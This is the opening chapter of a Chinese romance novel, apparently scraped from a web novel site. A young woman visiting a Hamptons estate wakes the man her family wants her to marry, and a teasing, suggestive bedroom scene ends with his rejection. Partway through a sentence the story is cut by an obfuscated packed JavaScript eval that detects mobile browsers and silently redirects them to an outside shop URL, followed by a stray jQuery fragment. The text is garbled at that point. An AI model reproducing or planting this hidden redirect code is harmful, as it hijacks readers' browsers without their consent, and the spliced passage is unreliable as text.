1. 第一章
    汉普顿被誉为美国避暑胜地,是纽约最富有的地区之一,其中梅德巷更是顶级富豪的最爱,不过五英里的街道上就聚集了全球最有钱的大亨和政客。

    如果不是Lily的邀请,明念此刻不会舒服地卧在豪宅庭院内的躺椅上,感受微风拂面,惬意的时光。

    Lily年过六十,是位优雅的贵妇人,她出生在美国纽约,父母皆是外交官,年少时在英国留学时遇见了景见章,在景见章热情的追求下,Lily答应了他的求婚,唯一的条件就是婚后不冠夫姓。

    直到现在Lily也不喜欢别人称呼她为景太太或景奶奶,她要求明念直接喊她名字就好。

    闲暇的下午,空气中弥漫着浓郁醇香的红茶香气,遮阳伞下,Lily悠闲地享受精致的下午茶和茶点,和两位中年贵妇人相谈甚欢。

    平常这个点,是Lily的午睡时间,明念会在一旁给她读金庸武侠小说,辅助她成功入睡后,再去画室专心创作。

    当然出于礼貌,有客来访,明念也该过去同Lily一起招待,尽‘地主之谊’。

    但,今天来的人是她的妈妈和景伯母。

    她们的到来,宣告明念悠闲的夏日即将结束。

    喜欢待在汉普顿每一天的明念,决定自私一次,在泳池旁的躺椅上贪婪地呼吸属于这里的每一寸空气,往日避恐不及的阳光都变得格外美好。

    “念念。”Lily放下茶杯,用发音清晰的普通话,招手喊明念,“你去喊小濯起床,他从昨晚一觉睡到现在,属实不像话。”

    熬过三点的炙热,下午四五点接近傍晚的时光,是最让明念舒服的。她躺了半天,浑身发懒,每一个细胞经过太阳的洗礼后,变得昏昏欲睡。

    如果妈妈没来,明念会和Lily撒娇然后拒绝,但此刻妈妈就坐在身旁不过十米的椅子上,她绝不会让明念放过一切能和景濯接触的机会。

    甩开身后尾随的日光,明念踏入独栋二层别墅,里面因主人在沉睡而黢黑一片,借着手机闪光灯,明念怀揣满腹吐槽爬上楼梯后,直接进入卧室。

    打开按钮,鹅黄色落地灯点亮一小片空间,将灯光调节到不会损害视力后,明念坐在沙发上玩手机,全然不顾这个亮度是否会惊扰到在床上睡觉的男人。

    景濯昨天去NewJerseyMotorSportsPark参加超跑飙车日,疯玩到半夜,结束时已到凌晨五点,迎着朝阳升起,开车近三小时才回家。

    他在Lily的庄园里有一栋二层小别墅,之前是一座花房,一楼四周皆是落地窗,待他入住后,当机立断安装上遮光性极好的窗帘。

    睡觉前他会用遥控器一键密封好别墅,虽然他卧室在二楼,但中途去下楼接水时,刺眼的阳光,会像杀死螨虫一样,杀光他全部的睡意。

    明念不止一次吐槽他,像个吸血鬼适合在阴暗的地方生活。

    没办法,对于他这种‘睡眠敏感肌’,轻微的光亮都可以轻易撕裂他的梦境。

    床上的人猛地睁开双眼,接着不耐地翻身,拽起即将耷拉到地上的夏凉被蒙上头。

    耳边是视频里混杂着男男女女的笑声,像是在庆祝些什么。

    眼前是轻薄的被子挡不住的光,景濯彻底没有了睡意。

    他不悦道:“你来我房间干什么?”

    “Lily让我喊你起床。”明念抬眸,笑意盈盈地望向他。

    “你喊我了?”景濯嘶哑的嗓音,带着浓浓倦意。

    “没有。”

    听她前言不搭后语的回答,景濯只觉头疼,骂了一句有病,接着揉了揉眉心,裸着上半身走去浴室。

    他抬起劲瘦的手臂将额前的碎发捋到脑后,露出骨相优越的五官。

    明念因眼前的男色瞳孔倏然扩大,他从黑暗中走来,微弱的灯光在他在他精壮紧实的胸肌跳跃,随着他脚步逼近,灯光笼罩在他纹理分明的八块腹肌上。

    这是明念见过景濯裸露皮肤最多的一次,他表面看起来浪荡不羁,游戏人间,喜爱赛车、滑雪、冲浪、蹦极等各项极限运动,但这十几年明念从未见过他游泳,去海边再热在穿着短袖,冲浪穿着包裹全身的冲浪服。

    日常除了手臂和小腿,景濯不会让自己过多的□□示与人前。

    之前明念甚至猜测过,他是干瘦成鸡或是身上遍布疤痕、胎记,不然为什么一个男人,穿衣那么保守?

    今天赚了,可惜的是长腿被灰色睡裤包裹,因不能好好欣赏他的腿部肌肉线条。

    明念略感遗憾,不由得想:他为什么不裸睡呢?

    景濯挑眉看了眼一脸花痴的明念,随即前往浴室,只留下背影。

    明念在心中悄悄评分:宽肩倒三角、细腰翘臀,身材可以评级为A。

    为什么不是S呢?因为她没摸到,不知道手感如何。

    浴室水声戛然而止,景濯开门而出,身上套了件白色浴袍,浴带松松垮垮的系在腰上,手拿浴巾擦滴着水的头发,看见明念一愣,问道:“你怎么还没走?”

    “等你。”明念眼珠锁在景濯身上,嘴角弧度格外可人。

    “啧。”景濯嗤笑一声,眼神意味不明,“之前也没见你这么热情。”

    “伯母和我妈妈来了。”明念如实回答,烦躁地拿起沙发上的书,随便翻阅着。

    “哦~”景濯一副了然于心的表情,踱步到她身旁坐下,讥讽道:“所以,你是装不下乖乖女了?才来我卧室避难?可你在我房间呆这么长时间,就不怕她们会误会我们俩发生了什么不可描述的事情?”

    碎发滴水打湿诗集上的字,耳畔被他清冽的呼吸缠绕,明念微微侧目,对上他狭长的双眸,嘴角笑容不减,“我猜,她们很希望我们发生不可描述的事情。”

    刹那间,明念眼尾上挑,像个勾子一样的眼神,和景濯梦中的女人,模样重叠。

    在他短暂被定格时,明念抽走他手中的毛巾,主动帮他擦湿润的头发,声音是刻意压低的温柔语调,“今晚要不然我就在你这儿住下,不下楼了。”

    头发经过她用力的蹂躏,乱成一团,景濯思绪回归,抓紧她的手臂,一字一句道:“你想的美。”

    明念是疤痕型肤质,按景濯这个力道,估计手腕上会留下很深的印记,她向前靠近,挑衅的目光一瞬不瞬的地望向他,“不可以吗?”

    她已经发育成熟的胸脯藏在浅绿色V领吊带裙里,随着她的动作贴近,景濯被突如其来的柔软,吓得目光愕然,节节后退,最终躺在沙发上,明念前倾的身子没有了支撑点,也跟着他一起倒下。

    趴在他身上,明念听见景濯荡漾在胸口的嘲笑声,“你知不知羞啊,明念?”

    手指深陷在真皮沙发内,明念手臂撑着身子想坐起来。

    蓦然,纤腰被景濯的手用力锢住,她再一次摔在他胸膛上,景濯另一只手抬起明念的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239178|151447||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下巴,迫使明念和他对视,“我是成年男性,你以后少来卧室招惹我,不然我不敢保证,不会对你做点什么。”

    “做就%¥…………”明念还想张口反驳什么,被他掐住脸颊两侧,说出口的话都变得含糊不清。

    明念报复性抬手掐他的腹部,却没想到,景濯腹肌真材实料,没有一丝赘肉,她根本无处使劲。

    景濯一个翻身把她压在身下,松开她的腰,一只大手轻而易举地抓住她胡乱点火的手腕。

    手被禁锢住,明念抬起膝盖,想给他重重一击,没成想被他提前预判。

    “老实点。”景濯将她的下-半-身锁在双/腿之间,语调愠怒。

    她齐膝的纱裙因挣扎而卷到腰部,景濯灰色真丝长裤轻轻摩擦她的大腿,带来的丝丝酥麻感。

    此时,明念庆幸,景濯穿了裤子。

    “少说那些违心的话,你根本不想和我做那些亲密的事情。”

    幽暗的灯光描绘景濯深邃的轮廓,眯起的眸子犹如利箭,仿佛能穿透她的灵魂。

    两个人距离很近,呼吸交缠在一起,双眸对视,皆是不含任何一丝情欲。

    不能说话、身体被束缚住的明念,不服气她嘟起的嘴,妄图反驳他的话,无奈发射而出的只有空气。

    景濯很轻地笑了一声,在安静的空间里格外明显。

    原本剑拔弩张的气氛,霎时消失殆尽。

    明念略感尴尬,视线移到皮质棕色沙发上。

    景濯被她吃瘪的表情逗乐,埋在她颈间大笑,“你好像一个没有子弹的豌豆射手。”

    脖子是明念的敏感点,他的呼吸像一根羽毛挠的她心痒,红晕爬满了她的脸颊。

    见身下的人变得安静,景濯也不想玩笑开太过,松开明念,站起身。

    俯视她落败的惨状,景濯嘴角的痞笑愈发得意,“老一辈定的娃娃亲,我根本没放在心上,补偿你们明家的办法多了去了,没必要牺牲我。”

    明念的爷爷叫明贤,是一名战地医生。

    二十五年前,曾在东南亚救过被iSIS恐怖组织追杀的景见章后并把他成功送回国。

    景见章回国后,为感谢明贤,派人给他送过支票和股份,都被明贤退回。景见章因不能报恩而郁结于心,明贤只好提出,希望他送一些医疗物资来帮助战地的平民。景见章敬佩明贤的人品,才发现自己竟以钱财辱君子,痛定思痛后,亲自前往东南亚送去物资,一来二往,二人建立起深厚的友谊。

    过了几年他们俩一前一后,分别有了孙子孙女,景见章便主动定下娃娃亲,明贤只愿孙女平安喜乐,并不想让她高攀权贵,但抵挡不住景见章的热情,再加上明贤常年在国外,对家人陪伴较少,只好让景见章多多关照自己的家人。

    虽然现在明贤和景见章都早已离世,但生前景见章时刻告诫景家人要一生记着明贤的恩。

    景家人铭记于心,再加上明念很会讨长辈开心,所以他们在极力撮合明念和景濯在一起。

    明家人更是恨不得让他们两到法定结婚年龄后立马领证。

    “你别白费心思了,少在我身上浪费时间。”

    偃息旗鼓,准备下次再战的明念握住门把时。

    听见景濯声音低沉如钟声,仿佛是想要唤坠入黑夜、执迷不悟的她醒来,别在痴人做梦。

    “相识十几年,我们连朋友都算不上,我怎么可能会喜欢上你?”